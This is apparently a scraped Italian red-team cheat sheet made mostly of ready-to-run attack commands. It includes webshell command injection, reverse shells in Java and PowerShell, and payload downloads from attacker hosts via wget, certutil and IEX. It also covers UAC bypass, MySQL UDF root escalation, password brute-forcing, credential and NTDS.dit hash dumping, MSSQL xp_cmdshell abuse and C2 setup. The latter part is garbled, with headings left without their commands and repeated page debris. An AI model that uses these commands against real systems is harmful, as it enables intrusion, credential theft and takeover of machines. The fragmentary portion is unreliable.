$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh

# create reverse ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

Patator è un bruteforcer multiuso```

git clone https://github.com/lanjelot/patator.git /usr/share/patator

SMTP bruteforce

$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

### Terminale Web Metasploit tramite Gotty```
$ service postgresql start
$ msfdb init
$ apt-get install golang
$ mkdir /root/gocode
$ export GOPATH=/root/gocode
$ go get github.com/yudai/gotty
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
# open in browser http://127.0.0.1:8080

Ottieni una shell completa con POST RCE```

attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl http://victum.tk/shell.php?cmd=id

download reverse shell to server (phpshell.php)

http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27

run nc and execute phpshell.php

attacker:~$ nc -nvlp 1337

### Exiftool - Legge e scrive metainformazioni nei file```
$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
$ tar xzf Image-ExifTool-10.13.tar.gz
$ cd Image-ExifTool-10.13
$ perl Makefile.PL
$ make
$ ./exiftool main.gif

Ottieni SYSTEM con reverse_shell Admin su Win7```

msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

#show account settings net user

download psexec to kali

https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

upload psexec.exe file onto the victim machine with powershell script

echo $client = New-Object System.Net.WebClient > script.ps1 echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1 echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

upload danger.exe file onto the victim machine with powershell script

echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1 echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

UAC bypass from precompiled binaries:

https://github.com/hfiref0x/UACME

upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell

echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1 echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

create listener on kali

nc -lvp 4444

Use Akagi64 to run the danger.exe file with SYSTEM privileges

Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

create listener on kali

nc -lvp 4444

The above step should give us a reverse shell with elevated privileges

Use PsExec to run the danger.exe file with SYSTEM privileges

psexec.exe –i –d –accepteula –s danger.exe

### Ottieni SYSTEM con utente standard reverse_shell su Win7```
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/

# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
wmic qfe get
wmic qfe | find "3057191"

# Upload compile exploit to victim machine and run it
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"

# dump clear text password of the currently logged in user using wce.exe
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w

# dump hashes of other users with pwdump7
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net

Genera il nostro file dic basato sul contenuto del sito web```

$ cewl -m 4 -w dict.txt http://site.url $ john --wordlist=dict.txt --rules --stdout

### Forzatura bruta dei record DNS con Nmap```
$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap --script dns-brute www.foo.com

Identificare un WAF con Nmap```

$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102 $ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102 $ wafw00f www.hamza.com

### MS08-067 - senza l'uso di Metasploit```
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

Nikto scan con proxy SQUID```

$ nikto -useproxy http://squid_ip:3128 -h http://target_ip

### Dirottare il percorso completo di un binario in bash per eseguire il proprio codice```
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
# It works ;)

Escalation dei privilegi locali tramite MySQL eseguito con privilegi di root```

Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

$ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

user:~~$ su - Password: user:~~# whoami root root:~# id uid=0(root) gid=0(root) groups=0(root)

### Bruteforce del login SSH con patator```
root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'

Usare LD_PRELOAD per iniettare funzionalità nei programmi```

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

### Sfruttare l'attacco di enumerazione utenti tramite timing di OpenSSH```
# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

Crea un circuito TCP attraverso richieste HTTP ben formate con ReDuh```

https://github.com/sensepost/reDuh

step 1

upload reDuh.jsp to victim server

$ http://192.168.10.50/uploads/reDuh.jsp

step 2

run reDuhClient on attacker

$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

step 3

connecting to management port with nc

$ nc -nvv 127.0.0.1 1010

step 4

forward localport to remote port with tunnel

[createTunnel] 7777:172.16.0.4:3389

step 5

connect to localhost with rdp

$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

# Jenkins Reverse Shell```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Powershell Reverse Shell

cambia IP e Porta / Versione limitata``` $sm=(New-Object Net.Sockets.TCPClient('192.168.1.11',9001)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

# Scarica file sulla macchina vittima```
cmd /c certutil -urlcache -split -f http://127.0.0.1/shell.exe c:\Temp\shell.exe && C:\temp\shell.exe

powershell -v 2 -exec bypass IEX(New-Object Net.WebClient).downloadString("http://127.0.0.1/shell.ps1")

Attacco MSSQL

Scoperta dei servizi

Nmap``` nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

**MetaSploit**```
msf > use auxiliary/scanner/mssql/mssql_ping

Enumeration Combina le password utente raccolte in altri modi in un dizionario per enumerare le macchine MSSQL nel dominio.

Nmap``` nmap -n -sV -Pn -vv -p --script=banner,ms-sql-empty-password,ms-sql-dac,ms-sql-dump-hashes,ms-sql-info,ms-sql-ntlm-info,vulners -oA _mssql.txt nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1 nmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1 Hydra hydra -L userlist_sqlbrute.txt -P quick_password_spray.txt -f -o output.ms-sql -u -s

**MetaSploit**```
msf > use auxiliary/admin/mssql/mssql_enum
msf > use auxiliary/scanner/mssql/mssql_login
Set it up PASS_FILE and RHOSTS.

PowerUpSQL``` Invoke-SQLAuditWeakLoginPw

**FScrack**```
python FScrack.py -h 192.168.1 -p 1433 -d pass.txt

Sfruttamento

Nmap``` nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.10 nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.10

**MetaSploit**```
msf > auxiliary/admin/mssql/mssql_exec
msf > auxiliary/admin/mssql/mssql_sql 
Rebound
msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

MSDAT Tutti quelli inclusi sopra possono essere testati solo con MSDAT.
Ottenere una shell``` msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell mssql_shell python script

**script python [mssql_shell.py](https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py)**```
Usage : mssql_shell Change MSSQL_SERVE , MSSQL_USERNAME and MSSQL_PASSWORD

Sqsh
Connettiti al servizio``` sqsh -S mssql -D MyDB -U DOMAIN\testuser -P MyTestingClearPassword1

Poi```
exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
xp_cmdshell 'dir C:\'
go

C&C

Merlin

Compila ed esegui il server``` $ cd merlin/cmd/merlinserver $ go build $ sudo ./merlinServer-Linux-x64 -i 192.168.1.11 -p 8443

Compilare l'agente```
$ cd merlin/cmd/merlinagent
$ sudo GOOS=windows GOARCH=386 go build

Genera certificato``` $ cd merlin/data/x509 $ openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=lab.com" -days 365

## Koadic```
$ cd koadic
$ ./koadic
                           / \
     _                   _ | |
    | | _____   __ _  __| || |  ___
    | |/ / _ \ / _` |/ _` ||.| / __|
    |   / (o) | (_| | (_| ||.|| (__
    |_|\_\_^_/ \__,_|\__,_||:| \___|
                           |:|
                        ~\==8==/~
                            8
                            O

        -{ COM Command & Control }-
      Windows Post-Exploitation Tools
             Endless Intellect

            ~[ Version:  0xA ]~
            ~[ Stagers:    5 ]~
            ~[ Implants:  33 ]~

(koadic: sta/js/mshta)$ info

        NAME        VALUE               REQ     DESCRIPTION     
        -----       ------------        ----    -------------   
        SRVHOST     192.168.1.11        yes     Where the stager should call home
        SRVPORT     9999                yes     The port to listen for stagers on
        EXPIRES                         no      MM/DD/YYYY to stop calling home
        KEYPATH                         no      Private key for TLS communications
        CERTPATH                        no      Certificate for TLS communications
        MODULE                          no      Module to run once zombie is staged

(koadic: sta/js/mshta)$ set SRVPORT 1245
[+] SRVPORT => 1245
(koadic: sta/js/mshta)$ run 
[+] Spawned a stager at http://192.168.1.11:1245/c26qp
[!] Don't edit this URL! (See: 'help portfwd')
[>] mshta http://192.168.1.11:1245/c26qp

PHP Tiny Webshell```

//http://127.0.0.1/shell.php??0=command

# Scarica il file sulla macchina vittima```
bitsadmin  /transfer mydownloadjob  /download  /priority normal  ^http://example.com/filename.zip  C:\Users\username\Downloads\filename.zip

Internal Monolog

Recupero degli hash NTLM senza toccare LSASS

https://github.com/eladshamir/Internal-Monologue

NTDS - Controller di dominio

Dump ed enumerazione di NTDS.dit - un file che contiene informazioni sugli utenti di Active Directory (hash!).``` powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

Scarica hash```
/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

Shell interattiva con nc```

rlwrap nc -nlvp PORT

# Suggerimenti e trucchi
### RCE POC
Possiamo usare i seguenti trucchi come un RCE POC(in alcuni incarichi, il cliente richiede test limitati sui RCE POC).
## Ping
Macchina del pentester```bash
tcpdump -nni <eth-adapter> -e icmp[icmptype] == 8

Sotto l'esecuzione dell'exploit```bash ping

Puoi specificare un numero di ping con -c argomenti, Se vengono ricevute richieste ICMP, RCE raggiunta

## Curl
Esegui comandi e ricevi dati con la richiesta POST```bash
curl -d "$(id)" 127.0.0.1:9988

Ricevi dati```bash nc -nlvp 9988

## Burpsuite Collaborator 
Usa burpcollaborator come POC
* Linux```bash
curl <burp-collaborator.com>

Windows```bash mshta <burp-collaborator.com>

Più Popolari

A-Red-Teamer-diaries

Now you can use the TGT to perform a DCSync

Mimikatz

Kekeo

Mimikatz

Setup the relay

Run mitm6

ADCSPwn arguments

Più Popolari

A-Red-Teamer-diaries

Diari di un Red-Teamer

Contribuisci

Obiettivi

Disclaimer

Intrusion Kill Chain

Mappatura della Rete

RunFinger.py

Nbtscan

Scansione Nmap

ESC3 - Modelli di Certificato per Enrollment Agent Non Configurati Correttamente

ESC4 - Vulnerabilità del Controllo degli Accessi

Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.

overwrite the configuration to make it vulnerable to ESC1

request a certificate based on the ESC4 template, just like ESC1.

restore the old configuration

ESC8 - Attacco Relay AD CS

For a member server or workstation, the template would be "Computer".

Other templates: workstation, DomainController, Machine, KerberosAuthentication

Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam

You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN

Use the certificate with rubeus to request a TGT

ESC9 - Nessuna Estensione di Sicurezza

ESC11 - Inoltro NTLM a ICPR

ACCOUNT COMPUTER PRE-CREATI

TROVARE ACCOUNT COMPUTER PRE-CREATI

Connettersi a SMB con le nuove credenziali```bash

Scansione per Zerologon

BIGIP RCE

Scansione Weblogic CVE-2020-14882

Ricerca di EternalBlue ms17-010```bash

Sfruttamento di Eternal Blue - Modulo Metasploit (solo Windows 7 x64 )

Lettura di Hash e Password dalla Memoria```bash

meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials

meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials

passo 2```bash

/ \ ## /*** Benjamin DELPY gentilkiwi ( [email protected] )

\ / ## > http://blog.gentilkiwi.com/mimikatz

Migrazione del Processo```bash

Bypass della protezione UAC di Windows con escalation (Iniezione in memoria)```bash

Windows Escalate UAC Execute RunAs```bash

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Sciatteria)```bash

CrackMapExec Cheat Sheet

Enumerazione iniziale```bash

Chiavi SSH```bash

Esecuzione del server

mhn &> mhn.log &```bash

Bloodhound```bash

Spray di Credenziali```bash

Elenco delle condivisioni```bash

Scarica tutti i file```bash

MSSQL

Test di autenticazione```bash

Ottenere un file```bash

Scarica i segreti LSA```bash

Estrai le credenziali del dpapi```bash

Riferimenti

Da Crackmapexec all'agente Empire

Crackmapexec a Meterpreter

Passaggio di shell da Empire a Meterpreter metasploit

DeathStar```

Start the Empire console and RESTful API

Comandi di Windows cmd.exe

Aggiungi utente```

Aggiungi utente al gruppo RDP```

Active Directory```

current domain info

domain trusts

current forest info

get forest trust relationships

get DCs of a domain

get DC for currently authenticated session

get domain trusts from cmd shell

get user info

get DC for currently authenticated session

get domain name and DC the user authenticated to

get all logon sessions. Includes NTLM authenticated sessions

kerberos tickets for the session

cached krbtgt

/ \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )